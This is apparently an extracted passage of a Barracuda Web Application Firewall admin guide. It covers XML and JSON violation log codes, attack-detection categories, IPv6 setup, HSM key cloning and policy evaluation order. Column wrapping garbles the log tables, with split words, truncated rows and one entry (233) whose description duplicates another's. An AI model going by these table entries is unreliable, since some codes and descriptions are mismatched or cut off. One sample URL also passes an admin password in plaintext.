205 Message is Not XML_WSI1001 Message not sent Alert XML Violations
Sent Using using HTTP version
HTTP1.1 1.1. WSI1001: Mess
age Should be Sent
Using HTTP 1.1 is
set to Yes on the W
EBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.
207 Message is Not XML_WSI1003 The XML schema in Alert XML Violations
UTF8 or UTF16 the request is not
using UTF-8 or
UTF16 encoding.
WSI1003:
Message is UTF-8
or UTF-16 is set
to Yes on the WEBS
ITES > XML Protect
ion > WS-I Basic
Profile Assertions
section.
230 SOAP:Envelope XML_WSI1201 Message contains a Alert XML Violations

Does Not Have v1.1 soap:Envelope with
Namespace a document element
“Envelope”, but the
namespace name is
not
http://schemas.xmls
oap.org/soap/envelo
pe/. WSI1201: SOA
P:Envelope Should
Have v1.1
Namespace is set to
Yes on the WEBSIT
ES > XML Protectio
n > WS-I Basic
Profile Assertions
section.

213 Message Does Not XML_WSI1009 Message does not Alert XML Violations
Include All Headers contain all the
"soapbind:headers"
specified in the
WSDL file. WSI1009
: Message Should
Include All
Specified Headers i
s set to Yes on the
WEBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.
212 Message Part XML_WSI1008 Name space not Alert XML Violations
Accessors Have defined in the
No Namespace incoming soap
message. WSI1008:
Message Part
Accessor Elements
in Parameters and
Return Value
Should Have
Proper Namespace
is set to Yes on the
WEBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.
236 Attribute XML_WSI1301 Message with a Alert XML Violations

“MustUnderstand” "soap:mustUndersta
is neither 1 nor 0 nd" value of neither
1 nor 0. WSI1301: A
ttribute
"MustUnderstand"
Value Should be
Either "1" or "0" is
set to Yes on the W
EBSITES > XML Pr
otection > WS-I
Basic Profile
Assertions section.
216 SOAP:Fault Not XML_WSI1012 A soap:Fault not Alert XML Violations

Generated for Bad generated for a
Envelope document element
Namespace named "Envelope"
where the
namespace name is
not
"http://schemas.xmls
oap.org/soap/envelo
pe/". WSI1012: SOA
P:Fault Should be
Generated for Bad
Envelope
Namespace is set to
Yes on the WEBSIT
ES > XML Protectio
n > WS-I Basic
Profile Assertions
section.

223 Non POST Request XML_WSI1103 A SOAP message Alert XML Violations
Does Not Contain sent as part of a
405 HTTP Status non-POST method
Code request received an
HTTP response with
status code other
than 405. WSI1103:
Response to a Non
POST Request
Should Contain
405 HTTP Status
Code is set to Yes o
n the WEBSITES >
XML Protection >
WS-I Basic Profile
Assertions section.
224 Non XML Request XML_WSI1104 A SOAP message Alert XML Violations
Does Not Contain sent as part of
415 HTTP Status non-XML request
Code received an HTTP
response with status
code other than 415.
WSI1104: Respons
e to Non XML
Request Should
Contain 415 HTTP
Status Code is set
to Yes on the WEBS
ITES > XML Protect
ion > WS-I Basic
Profile Assertions
section.
214 One-Way XML_WSI1010 An HTTP one-way Alert XML Violations

Response response contains a
Contains a SOAP envelope
SOAP:Envelope (that is, HTTP
entity-body is not
empty). WSI1010: O
ne-Way Response
Should Not
Contain a
SOAP:Envelope is
set to Yes on the W
EBSITES > XML Pr
otection > WS-I
Basic Profile
Assertions section.
235 Part Accessors XML_WSI1211 Message with Alert XML Violations

Have “xsi: nil” rpc-literal binding
Attribute contains xsi:nil
attribute with value
of “1” or ‘true’ on the
part accessors. WSI
1211: Part
Accessors Should
Not Have "xsi: nil"
Attribute with
Value "1" or "True"
WEBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.

222 Processed XML_WSI1101 Response message Alert XML Violations

Response Status is without embedded
Neither 200 nor 202 SOAP message. WS
I1101: Processed
Response Should
Use Either 200 or
202 HTTP Status
n the WEBSITES >
XML Protection >
WS-I Basic Profile
Assertions section.
215 Request Does Not XML_WSI1011 Content of request Alert XML Violations
Match the message does not
WSDL:Definition conform to the
WSDL file definition.
WSI1011: Requ
est Content Should
Match
WSDL:Definition
WEBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.
208 Request Message XML_WSI1004 Message not sent Alert XML Violations
is Not an HTTP using the HTTP
POST Message POST method. WSI
1004: Request
Message Should
be an HTTP POST
Message is set to Y
es on the WEBSITE
S > XML Protection
> WS-I Basic
Profile Assertions
section.
209 Response Wrapper XML_WSI1005 Wrapper element in Alert XML Violations

Does Not Match the response
the Name Attribute message does not
on match the name
WSDL:Operation attribute on the
wsdl:operation
element
concatenated by the
string "Response". A
response with a
wrapper not named
after the
wsdl:operation
name. WSI1005: Re
sponse Wrapper
Should Match the
Name Attribute on
WSDL:Operation is
set to Yes on the W
EBSITES > XML Pr
otection > WS-I
Basic Profile
Assertions section.

217 Response Does XML_WSI1013 The content of the Alert XML Violations
Not Match the response message
WSDL:Definition does not conform to
the WSDL file
definition. WSI1013:
Response Content
Should Match
WSDL:Definition is
set to Yes on the W
EBSITES > XML Pr
otection > WS-I
Basic Profile
Assertions section.
231 Children Elements XML_WSI1202 Message with a child Alert XML Violations
in SOAP:Body are element of the
Not Namespace soap:Body element
Qualified is not namespace
qualified. WSI1202:
Children Elements
in SOAP:Body
Should be
Namespace
Qualified is set to Y
es on the WEBSITE
S > XML Protection
> WS-I Basic
Profile Assertions
section.
241 Children Elements XML_WSI1308 Message with a child Alert XML Violations
in SOAP:Body element of the
Have soap:Body element
“SOAP:EncodingSt has a
yle” Attribute soap:encodingStyle
attribute. WSI1308:
Children Elements
of SOAP:Body
Should Not Have
the
SOAP:EncodingSty
Yes on the WEBSIT
ES > XML Protectio
n > WS-I Basic
Profile Assertions
section.
243 SOAP:Fault XML_WSI1316 Message contains a Alert XML Violations

Children are "soap:Fault" element
Qualified with a qualified child
element. WSI1316:
SOAP:Fault
Children Should be
Unqualified is set to
Yes on the WEBSIT
ES > XML Protectio
n > WS-I Basic
Profile Assertions
section.

239 SOAP:Fault XML_WSI1306 SOAP message has Alert XML Violations

Children Elements one or more
are Not Namespace "soap:Fault" non
Qualified standard children
elements, i.e., the
child element(s) is
neither
soap:faultcode,
soap:faultstring,
soap:faultactor nor
soap:detail. WSI130
6: SOAP:Fault
Children Elements
Should be
Namespace
es on the WEBSITE
S > XML Protection
> WS-I Basic
Profile Assertions
section.
232 SOAP:Fault Has XML_WSI1203 The soap:Fault Alert XML Violations

Non-Foreign message contains
Namespace detail element with
qualified attributes,
but with a
non-foreign
namespace.
Non-foreign
namespace means
the namespace
should be anything
other than
“http://schemas.xmls
oap.org/soap/envelo
pe/". WSI1203: Nam
espace on the
Detail Element in
the SOAP:Fault
Should be a
Foreign
Namespace is set to
Yes on the WEBSIT
ES > XML Protectio
n > WS-I Basic
Profile Assertions
section.
238 SOAP:Fault XML_WSI1305 The SOAP fault Alert XML Violations

Message Not response message
Found in the HTTP does not have "500
500 Response Internal Server
Error" HTTP status
code. WSI1305: SO
AP:Fault Message
Should Contain
HTTP 500 Error
n the WEBSITES >
XML Protection >
WS-I Basic Profile
Assertions section.

237 SOAP:Faultcode is XML_WSI1302 Message contains a Alert XML Violations

Not Standard or faultcode element
Namespace which is neither a
Qualified fault code defined in
SOAP 1.1 nor a
namespace qualified
fault code. WSI1302
: SOAP:Faultcode
Should be
Standard or
Namespace
es on the WEBSITE
S > XML Protection
> WS-I Basic
Profile Assertions
section.
229 SOAPAction XML_WSI1116 SOAP message Alert XML Violations

Header Does Not whose SOAPAction
Contain the HTTP header field
Correct String does not match the
Value WSDL soapAction
attribute in
soapbind:operation
(either the same
value or a blank
quoted string if not
present). WSI1116:
SOAPAction
Header Should
Match the
SOAPBind:Operati
on/@SOAPAction
Attribute is set to Y
es on the WEBSITE
S > XML Protection
> WS-I Basic
Profile Assertions
section.
210 SOAPAction XML_WSI1006 The value of the Alert XML Violations

Header Does Not "SOAPAction" HTTP
Contain Quoted header field in an
String HTTP request is not
a quoted string. WSI
1006: SOAPAction
Header Should
Contain Quoted
String is set to Yes
on the WEBSITES >
XML Protection >
WS-I Basic Profile
Assertions section.

233 SOAP: Body XML_WSI1204 Message contains a Alert XML Violations

Contains the faultcode element
“SOAPEnc:ArrayTy which is neither a
pe” Attribute fault code defined in
SOAP 1.1 nor a
namespace qualified
fault code. WSI1302
: SOAP:Faultcode
Should be
Standard or
Namespace
es on the WEBSITE
S > XML Protection
> WS-I Basic
Profile Assertions
section.
234 SOAP Message XML_WSI1208 SOAP message Alert XML Violations

Contains XML contains XML
Processing Processing
Instructions instructions. WSI120
8: SOAP Message
Should Not Include
XML Processing
Instructions is set
to Yes on the WEBS
ITES > XML
Protection > WS-I
Basic Profile
Assertions section.
XML Firewall SOAP Violations

Export Logs
193 Additional SOAP XML_VALIDATION_ SOAP message Alert XML Violations

Headers rcvd WSDL_SOAP_UNK contains additional
NOWN_HEADERS headers not
specified in the
WSDL file. Allow
Additional SOAP
Headers is set to Ye
s on the WEBSITES
> XML Protection >
SOAP Validations s
ection.
192 Invalid SOAP Body XML_VALIDATION_ SOAP message Alert XML Violations
WSDL_SOAP_HEA body does not
DERS conform to the
schema defined in
the WSDL file. Valid
ate SOAP body
from WSDL
schema is set to Ye
s on the WEBSITES
> XML Protection
> SOAP Validations
section.

190 Invalid SOAP XML_VALIDATION_ SOAP message with Alert XML Violations
Envelope WSDL_SOAP_ENV soap:envelope does
ELOPE not conform to the
SOAP standard. Vali
date SOAP
Envelope is set to Y
es on the WEBSITE
S > XML Protection
> SOAP Validations
section.
191 Invalid SOAP XML_VALIDATION_ SOAP message Alert XML Violations

Header WSDL_SOAP_BOD contains a header
Y that does not
conform to the
policies defined in
the WSDL file. Valid
ate SOAP headers
defined in WSDL is
set to Yes on the W
EBSITES > XML
Protection > SOAP
Validations section.
JSON Limit Violations

Export Logs
313 Malformed JSON JSON_MALFORME A request not Alert JSON Violations

D conforming to the
JSON RFC
specifications was
detected.
309 Max Array Values JSON_MAX_ARRA A JSON request Alert JSON Violations
Exceeded Y_VALUES exceeded the
maximum allowable
number of elements
in a array specified
in Max Array
Elements on the W
EBSITES > JSON
Security page.
305 Max Key Length JSON_MAX_KEY_L A JSON request Alert JSON Violations
Exceeded ENGTH exceeded the
maximum allowable
length for JSON key
s specified in Max
Key Length on the
WEBSITES > JSON
Security page.
310 Max Number Value JSON_MAX_NUMB A JSON request Alert JSON Violations
Exceeded ER_VALUE exceeded the
maximum allowable
value for JSON Num
ber datatype specifi
ed in Max Number
Value on the WEBSI
TES > JSON
Security page.

306 Max Object Keys JSON_MAX_OBJEC A JSON request Alert JSON Violations
Exceeded T_KEYS exceeded the
maximum allowable
keys specified in Ma
x Keys on the WEB
SITES > JSON
Security page.
307 Max Siblings JSON_MAX_OBJEC A JSON request Alert JSON Violations

Exceeded T_CHILD exceeded the
maximum allowable
number of elements
in a single JSON
object specified in M
ax Siblings on the
WEBSITES > JSON
Security page.
308 Max Value Length JSON_MAX_VALUE A JSON request Alert JSON Violations
Exceeded _LENGTH exceeded the
maximum allowable
length for JSON
string value
specified in Max
Value Length on
the WEBSITES >
JSON Security pag
e.
304 Object Depth JSON_MAX_OBJEC A JSON request Alert JSON Violations

Exceeded T_DEPTH exceeded the
maximum allowable
depth for nested
JSON structure
specified in Max
Tree Depth on the
WEBSITES > JSON
Security page.
JSON Violations

Export Logs
336 Apache Struts APACHE_STRUTS_ The key/value in Alert JSON Violations

Attack in JSON ATTACKS_IN_JSO JSON data matched
Data N_PARAM an Apache Struts
attack pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
315 Cross-Site XSS_INJECTION_I The key/value in Alert JSON Violations

Scripting in JSON N_JSON_PARAM JSON data matched
Data a Cross-Site
Scripting pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.

319 Custom Attack CUSTOM_ATTACK The key/value in Alert JSON Violations

Pattern in JSON _PATTERN_IN_JSO JSON data matched
Data N_PARAM a custom attack
pattern defined
under Attack Types
on the ADVANCED
> Libraries page.
317 Directory Traversal DIRECTORY_TRAV The key/value in Alert JSON Violations

Attack in JSON ERSAL_IN_JSON_P JSON data matched
Data ARAM a Directory Traversal
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
335 HTTP Specific HTTP_SPECIFIC_A The key/value in Alert JSON Violations

Attack in JSON TTACKS_IN_JSON_ JSON data matched
Data PARAM an HTTP specific
attack pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
333 LDAP Injection in LDAP_INJECTION_I The key/value in Alert JSON Violations

JSON Data N_JSON_PARAM JSON data matched
an LDAP Injection
attack pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
316 OS Command OS_CMD_INJECTI The key/value in Alert JSON Violations

Injection in JSON ON_IN_JSON_PAR JSON data matched
Data AM an OS Command
Injection pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
334 Python PHP Attack PYTHON_PHP_ATT The key/value in Alert JSON Violations
in JSON Data ACKS_IN_JSON_P JSON data matched
ARAM a Python PHP attack
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
318 Remote File RFI_VIOLATION_IN The key/value in Alert JSON Violations

Inclusion in JSON _JSON_PARAM JSON data matched
Data a Remote File
Inclusion pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.

314 SQL Injection in SQL_INJECTION_I The key/value in Alert JSON Violations

JSON Data N_JSON_PARAM JSON data matched
an SQL Injection
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
Below is the list of attacks that are logged in the BASIC > Web Firewall Logs page, but are not part of the action policy list:

Export Logs
1 Deny ACL matched DENY_ACL_MATC The URL in the Alert Forceful Browsing
HED request matched the
Deny ACL rule
configured in the WE
BSITES >
Allow/Deny > URL:
Allow/Deny Rules s
ection, or in the SEC
URITY POLICIES >
Global ACLs page.
303 Session timed out SESSION_TIMEOU The request Alert DDOS Attacks
T_EXCEEDED exceeded the idle
time specified for a
session in Session
Timeout on the BA
SIC > Services pag
e
56 Redirect ACL REDIRECT_ACL_M The URL in the Information Other Attacks

matched ATCHED request matched the
redirect ACL rule
configured in the WE
BSITES >
Allow/Deny > URL:
Allow/Deny Rules s
ection, or in the SEC
URITY POLICIES >
Global ACLs page.
78 Access Control ACCESS_CONTRO The session cookie Warning Auth Attacks

cookie expired L_COOKIE_EXPIRE for the authenticated
D user exceeded the
idle time specified in
Idle Timeout under
Authentication on
the ACCESS
CONTROL >
Authentication
Policies page.
79 Access Control ACCESS_CONTRO The session cookie Warning Auth Attacks

cookie invalid L_COOKIE_INVALI sent by the client is
D invalid.

80 Access Control ACCESS_CONTRO The authenticated Warning Auth Attacks

access denied L_ACCESS_DENIE user is denied
D access to the
requested resource
as the user is not
configured in Allowe
d Users or Allowed
Groups under Auth
orization on the AC
CESS CONTROL >
Authorization
Policies page.
81 Access Control no ACCESS_CONTRO Session cookie not Warning Auth Attacks

cookie found L_NO_COOKIE found in the request
to access the
restricted resource.
The user is not
authenticated to
access the
requested resource.
113 Blocked by FTP FTP_COMMAND_B The FTP command Alert Other Attacks
command-blocking LOCKED in the request does
policy not match the
commands
configured in FTP
Allowed Verbs on
the WEBSITES >
FTP Security page.
292 Virus Scan VIRUS_SCAN The scan of the Notice FILE Attacks
uploaded file
detected no virus. All
files uploaded
through
multipart/form-data
messages are
scanned for viruses.
Requests containing
virus signatures are
denied when Enable
Virus Scan is set to
Yes under Advance
d Security on the W
EBSITES >
Advanced Security
page.

How to Use IPV6
This feature is available only with Barracuda Web Application Firewall version 7.6 and above.
Internet Protocol Version 6 (IPv6)
IP version 6 (IPv6) is a new version of the Internet Protocol, the successor of IP version 4 (IPv4). The main advantage of IPv6 is a larger address
space than IPv4.
IPv6 uses 128-bit IP addresses compared to 32-bit IP addresses used by IPv4.

Version 6 supports varied addressing types (unicast, anycast, multicast, link-local, sitelocal and global).
IPv6 addresses can be associated with one or more interfaces.
Address Notation
IPv6 addresses are represented as eight 16-bit hexadecimal block separated by colons (:).
Example: FEDC:0000:0000:0000:FEDC:E4BF:0100:0010
The leading zeros can be omitted within each 16-bit hexadecimal block, and written as 0 instead of 0000, 100 instead of 0100 and 10 instead of
0010. These zeros can be further compressed and replaced with double-colon (::) to make IPv6 address notation less cumbersome.
Double-colon can be used only once to compress an IPv6 address, either in the beginning, middle or end.
Example: FEDC::FEDC:E4BF:100:10 is equivalent to FEDC:0000:0000:0000:FEDC:E4BF:100:10
IPv6 Support in Barracuda Web Application Firewall
The Barracuda Web Application Firewall supports Internet Protocol Version 6 (IPv6) along with its predecessor IPv4. The current firmware
release (7.6) provides only basic IPv6 features. Before configuring IPv6 Services, read the following:
Enabling IPv6
Configuring the Barracuda Web Application Firewall with IPv6 Addresses
Enabling IPv6
By default, IPv6 is disabled on the Barracuda Web Application Firewall. To enable IPv6, go to the BASIC > IP Configuration > Addresses secti
on and set Enable IPv6 to Yes.
If the units are in cluster, IPv6 configuration does not synchronize if one of the units is IPv6 enabled and the other is disabled. To
synchronize IPv6 configuration, set Enable IPv6 to Yes on both the units.
Configuring the Barracuda Web Application Firewall with IPv6 Addresses
Before configuring IPv6 services, you need to assign IPv6 addresses to the interfaces on the BASIC > IP Configuration page. Only then can you
connect to an IPv6 network. By default, the Barracuda Web Application Firewall accepts traffic only from IPv4 networks, and drops all IPv6 traffic.
When IPv6 is enabled, the Barracuda Web Application Firewall accepts both IPv4 and IPv6 traffic. The IPv6 address for interfaces can be
configured in the WAN IPv6 Configuration, LAN IPv6 Configuration and Management IPv6 Configuration sections. For detailed configuration
Configuring IPv6 Services
You can create new services (IPv4 and IPv6) using BASIC > Services > Add New Service, and then selecting the appropriate version from the
Version drop-down list. Specify a name, type of service desired, a Virtual IP (VIP) address, port, and one or more Real Servers. You should
configure a global IPv6 address for your Virtual IP address.
The following table lists the various interfaces to Services that can be used when IPv6 is enabled:
Front-end Back-end Use Case
IPv6 IPv6 Used when the complete network setup is

being migrated to support IPv6 based
addressing.
IPv6 IPv4 Used when you wish to publish IPv6

addresses for web applications without
changing the addressing in your internal
network.

IPv4 IPv6 Used when third party applications

connecting to your applications are not yet
ready to communicate via IPv6.
IPv4 IPv4 Used in current deployments without any

IPv6 support.
Limitations of IPv6 in the Barracuda Web Application Firewall
The Barracuda Web Application Firewall IPv6 implementation has the following limitations:
Currently, IPv6 based addressing is not supported for the following features:
Adaptive Profiling
Trusted Hosts
Connection to Barracuda Networks Technical Support Center via the support tunnel does not accept IPv6 addresses. If you want to
establish connection to the support tunnel, make sure you have IPv4 address configured in the WAN IP Configuration and LAN IP
Configuration sections on the BASIC > IP Configuration page.
IPv6 addresses cannot be configured via Console configuration.

How To Enable FIPS

Overview
HSM Functionality
Authentication and User Roles
Protecting Keys with Secure Key Management
Certificate Management and Generation of Keys
Initial Setup
Hardware Security Module (HSM): Backup / Restore
Backup
Restoring the Keys
Restoring Keys on the same HSM enabled Barracuda Web Application Firewall
Restoring Keys on the different HSM enabled Barracuda Web Application Firewall
Cloning the Masking Key
High Availability (HA) in FIPS Environment
The Hardware Security Module (HSM) is available only on Barracuda Web Application Firewall Model 963.
Overview
The Federal Information Processing Standards (FIPS) 140-2 Publication, issued by US National Institute of Standards and Technology (NIST),
specifies the Security Requirements for Cryptographic Modules to protect sensitive data in the security appliances. The Barracuda Web
Application Firewall integrates with Cavium Networks’ Hardware Security Module (HSM) to meet these standards, thus enhancing the security of
web applications, and accelerating performance.
The intended audience for this document is a Barracuda Web Application Firewall system administrator responsible for managing the HSM, who
is assumed to have basic knowledge of the following:
Federal Information Processing Standards Publication 140-2, Security Requirements for Cryptographic Modules
SSL/TLS protocols and its terminology
Cryptography
Public Key Infrastructure (PKI)
This document covers HSM supported cryptographic functions, authentication and user roles, cloning an HSM masking secret, and sharing of
keys between multiple HSMs.
HSM Functionality
The Cavium Networks’ NITROX XL CN16xx-NFBE card, a cryptographic HSM, is integrated with the Barracuda Web Application Firewall at the
device level via the Peripheral Component Interconnect (PCI) interface. It provides FIPS 140-2 level 3 certified cryptographic functions to the
appliance, as well as strong authentication, and physical tamper resistance. The HSM manages cryptographic keys and provides accelerated
cryptographic functions with keys including:
Cryptographic key generation

Secure storage of PKI Information
Cryptographic algorithm processing
Complex SSL/TLS protocol processing
FIPS 140-2 level 2 capabilities have been exposed even though the system supports FIPS 140-2 level 3 specifications.
Authentication and User Roles
The Barracuda Web Application Firewall authenticates users, challenging them for a username and password, before allowing access to the HSM
or execution of its cryptographic functions. The HSM supports two distinct roles: Crypto-Officer and Crypto-User. The Crypto-Officer can install
and initialize the HSM, and perform security administration tasks including Crypto-User (CU) creation, configuration of the HSM, and configuration
of the security policy. The Crypto-User is an operational role which has access to all cryptographic operations provided by the HSM. There can be
only one Crypto-Officer and one Crypto-User, with only one of them logged in at a time within a single application.
Protecting Keys with Secure Key Management
When a certificate is created or imported, the private keys are stored securely on the HSM, while certificates are stored on the Barracuda Web
Application Firewall. The HSM authenticates users before allowing access to keys stored in the HSM, and any attempt to tamper with the card
results in immediate destruction of all private key data on the HSM.
Certificate Management and Generation of Keys
Private cryptographic keys can be created on the Barracuda Web Application Firewall, or can be uploaded to it. In each case, the private key is

stored securely in the HSM.
When you create a self-signed certificate, the private key is generated and securely stored in the HSM, while a Certificate Signing Request (CSR)
is generated and saved on the Barracuda Web Application Firewall and can be viewed using the BASIC > Certificates > Saved Certificates sec
tion.
Private keys are imported to the HSM when any Certificate Authority certificate is uploaded to the Barracuda Web Application Firewall. For more
information on how to create a certificate, see How to Add an SSL Certificate.
Initial Setup
Use the ADVANCED > System Configuration > Hardware Security Module (HSM): Initial Setup section to enable Hardware Security Module
(HSM) support on the appliance, and perform initial settings. This section is visible only in the expert mode. To enable expert mode, the
administrator is
required to add “&expert=1” at the end of the URL. For example: http://192.168.132.45:8000//cgimod/index.cgi?&user=admin&pa
ssword=21f1c62f6&et=1304924640&auth_type=Local&locale=en_US&primary_tab=ADVANCED&secondary_tab=advanced_sys
tem&expert=1
To perform Hardware Security Module (HSM) Initial Setup:

2. In the Hardware Security Module (HSM): Initial Setup section, specify values for the following fields:
a. Security Domain - Enter a name for security domain. This is used during the cloning process. It is recommended that the
administrators change the default value to something specific to their organization. Note that the source HSM and target HSM(s)
should share the same Security domain for cloning.
b. Login Fail Count - Set the maximum number of failed login attempts for HSM. If the user does not successfully login within the
specified value, the HSM automatically zeroize (erases all the data stored in the HSM) itself, and resets to factory-default state
c. HSM Cloning Supported - Select Yes to enable HSM cloning. Note that if HSM cloning is disabled, High Availability will not
work. Also, if you intend to restore the backup of this HSM to another Barracuda Web Application Firewall which is not cloned by
this HSM does not work.
3. Click Save Changes to save the above settings.
Any changes made to these parameter values will result in HSM being reinitialized followed by a system REBOOT. The reinitialization
process removes all the information stored in HSM.
Hardware Security Module (HSM): Backup / Restore
The ADVANCED > System Configuration > Hardware Security Module (HSM): Backup / Restore section enables you to backup the current
private key data stored in the HSM of an appliance. The file is used for backup purpose in case of HSM hardware failure, and can also be
uploaded to another HSM enabled Barracuda Web Application Firewall.
It is possible to export the private keys from one Barracuda Web Application Firewall and then restore it either on the same appliance or another
Barracuda Web Application Firewall which has a cloned HSM.
An HSM internally generates its own masking key, which is used to encrypt exported private keys and decrypt imported private keys.
The masking key is known as a Key-Wrapping-Key or Key-Encryption-Key.
Backup
To backup the current private key data in the HSM to your local machine:

2. In the Hardware Security Module (HSM): Backup / Restore section, click Backup.
3. Save “hsm_masked_objects.tar.gz” (gzip) file to the desired location.
Restoring the Keys
To restore the backup file onto the HSM enabled Barracuda Web Application Firewall:
1. Click the Browse button.

2. Locate the backup file, and click the Upload button to begin restoration.
Restoring Keys on the same HSM enabled Barracuda Web Application Firewall
Importing the exported private keys to the same appliance does not require the Key-Encryption-Key or security domain parameter, as the device
is same and Key-Encryption-key will match during the import time.

Restoring Keys on the different HSM enabled Barracuda Web Application Firewall
If you intend to export the private keys from one appliance and import to another, then the following conditions should be met:
All HSM domain members should share the same Security Domain i.e. the unit from which the backup is taken and the unit on which it
is going to be restored.
Key-Encryption-Key of HSM enabled Barracuda Web Application Firewalls must be synchronized. This can be performed using Hardwar
e Security Module (HSM): Cloning section.
Cloning the Masking Key
A Hardware Security Module (HSM) internally generates its own masking key, or secret, which is used to encrypt exported private keys and
decrypt imported private keys. The masking key is known as a Key-Wrapping-Key or Key-Encryption-Key. Cloning the masking key copies the
internal masking secret from one HSM to another, allowing keys that have been masked by an HSM to be unmasked using the clone of the
masking key. This allows for recovery of private key data in the event of HSM hardware failure. Cloning requires the source HSM and target
HSM(s) to share the same Security Domain, a parameter configured while initializing the HSM.
Cloning of HSM includes four steps:
1. Export source public key (Key-Encryption-Key) from the source HSM:

a. On the source appliance, select Source as the System Role.
b. In the Cloning Step parameter, select Export Source Public Key and click Save Changes.
c. Click Download to Export Source Public Key from the source HSM.
2. Transfer source public key to the target HSM:
a. On the target appliance, select Target as the System Role.
b. In the Cloning Step parameter, select Import Source Public Key and click Save Changes.
c. Click Browse and Import Source Public Key exported from the source HSM.
d. Click Upload.
e. In this step, the target HSM accepts the source public key and returns target public key.
f. Click Download to export the target public key.
3. Transfer target public key to the source HSM:
a. On the source appliance, ensure the System Role is set to Source.
b. In the Cloning Step parameter, select Import Target Public Key and click Save Changes.
c. Click Browse and Import Target Public Key exported from the target HSM.
d. Click Upload.
e. The source HSM accepts the target public key and returns masking key (Key-Wrapping-Key/Key-Encryption-Key).
f. Click Download to download the masking key. This needs to be imported to the target HSM to complete the cloning process.
4. Clone Key-Encryption-Key on target HSM:
a. On the target appliance, select Import Source Masking Key as the Cloning Step and click Save Changes.
b. Click Browse and Import Masking Key downloaded from the source HSM.
c. Click Upload. This completes the cloning process.
Now, the source appliance and target appliance share the same Key-Encryption-Key. Either of the appliances can be used as the source
appliance for subsequent cloning operations.
You should create a clone of any HSM that is currently in use to allow for recovery of all previously masked data in case of
HSM hardware failure.
To start a fresh configuration on the Barracuda Web Application Firewall, use Clear Configuration from the ADVANCED >
Troubleshooting > Support Diagnostics section. This operation restores the Barracuda Web Application Firewall to its initial
configuration, and deletes all private keys on the HSM.
High Availability (HA) in FIPS Environment
The ADVANCED > High Availability page allows you to configure a second HSM enabled Barracuda Web Application Firewall to act as a
backup to the primary. Both systems must be on the same network. If the primary unit is down for any reason, the backup unit assumes
ownership of the configured services and inherits the work of the primary unit, providing continuous availability. For more information, see How to
Set Up a High Availability Environment with Two Barracuda Web Application Firewalls.
Before configuring HA in FIPS environment, ensure the following conditions are met:
1. Both units (primary and secondary) should share the same Security Domain name.
2. Both units should have the same masking key (Key-Encryption-Key), which can be achieved by:
a. Cloning the HSM on the secondary unit with the HSM of the primary.
b. Or, alternatively both primary and secondary cloned from some master HSM.
Once the above configuration is done, the Barracuda Web Application Firewall synchronizes HSM configuration internally.

Evaluation Policy and Flow
In this article:
Evaluation Policies
Request Policy Order
Response Policy Order
Execution Flow
HTTP Request
HTTP Response
Local Allow/Deny Rules
URL Policies
Rule Matching
Rule Match Algorithm
Hierarchical Match
Sequential Match
Evaluation Policies
The Barracuda Web Application Firewall applies policies to evaluate requests and responses.
Request Policy Order
Web application requests have policies applied in the following order:
1. Network ACLs [P1]

2. Barracuda IP Reputation [P2]
3. Geo Location ACLs [P3]
4. SSL Termination and SSL Checks [P4]
5. Protocol Checks and Global Request Limits [P5]
6. URL Encryption Rule [P6]
7. Instant SSL redirect policy [P7]
8. URL normalization [P8]
9. Rule match [P9]
10. Cookie security [P10]
11. Global Allow Deny Rules [P11]
12. Session Tracking [P12]
13. Local Allow Deny Rules [P13]
14. Process Profile or Default URL protection and Parameter protection [P14]
15. Advanced Security [P15]
16. Authentication and Access Control [P16]
17. Caching [P17]
18. Web address translation (WAT) [P18]
19. JSON Security [P19]
20. XML Firewall [P20]
21. Load Balancing [P21]
The following flowchart explains the Request Policy Order:




Response Policy Order
Web application responses have policies applied in the following order:
1. Cloaking policy [P21]

2. Data Theft Protection policy [P22]
3. Instant SSL rewrite [P23]
4. Web address translation (WAT) [P24]
5. Cookie Security [P25]
6. XML Firewall [P26]
7. URL Encryption policy [P27]
8.

8. Compression policy [P28]

9. Caching [P29]
The following flowchart explains the Response Policy Order:


Execution Flow
The following sections describe how the Barracuda Web Application Firewall processes and evaluates web application requests and responses.
(Policies are referenced by the associated number from the preceding lists P1 through P22.)
HTTP Request
The Barracuda Web Application Firewall applies the following policies in order to a request before forwarding it to the back-end server:
1. When a request is received, the Barracuda Web Application Firewall first performs Network Layer checks such as Network ACLs [P1],
Barracuda Block list [P2] (i.e. checks if the IP address has been identified as a potential spam, malware or bot originator.), then the Geo
Location ACLs [P3].
2. If the request passes network layer checks, the Barracuda Web Application Firewall then performs SSL checks [P4], and then limit
checks [P5] on various components of the HTTP request including URL length, header length, number of headers, and request length. A
request exceeding any of these limits is dropped. These checks are performed as request headers are received via one or more TCP
packets at the application layer.
3. If the URL Encryption is enabled for the service, the Barracuda Web Application Firewall decrypts the URLs in the request [P6].
4.

4. If Instant SSL redirect policy is enabled for the application [P7], the request is redirected to the corresponding HTTPS application, with no
further policies applied to it.
5. After all headers are received, the URL and domain of the request are normalized [P8] into a temporary local buffer (see Configuring
URL Normalization). The normalized URL and domain strings are used by all remaining policies.
6. Next the best matching rule group [P9] is found by comparison to the entire request header.
7. Encrypted cookies are then decrypted by applying cookie security policies [P10] (see How to Secure HTTP Cookies). At this point, any
cookies inserted by modules such as authentication are also decrypted. If cookie decryption fails, the cookie is removed from the
request. This policy never denies a request.
8. Global allow-deny rules [P11] are now enforced taking the corresponding action of any matching rule (allow, deny with log, deny without
log or redirect). If session tracking [P12] is enabled, the session is updated. Then the local allow-deny rules [P13], if any, are enforced.
9. If profiles [P14] are enabled, perform profile validations using any matching profile, and continue learning [P14] if configured in the profile
and enabled for this request. If profiles are not enabled or no profile matches, perform default URL protection [P14] and parameter
protection [P14].
10. If a URL policy [P15] matches the request, perform the configured validations including virus scan, data theft protection, brute force
prevention and/or rate control.
11. If access control is enabled for the request [P16] and it has no authentication cookie, the request is dropped. If access is allowed for the
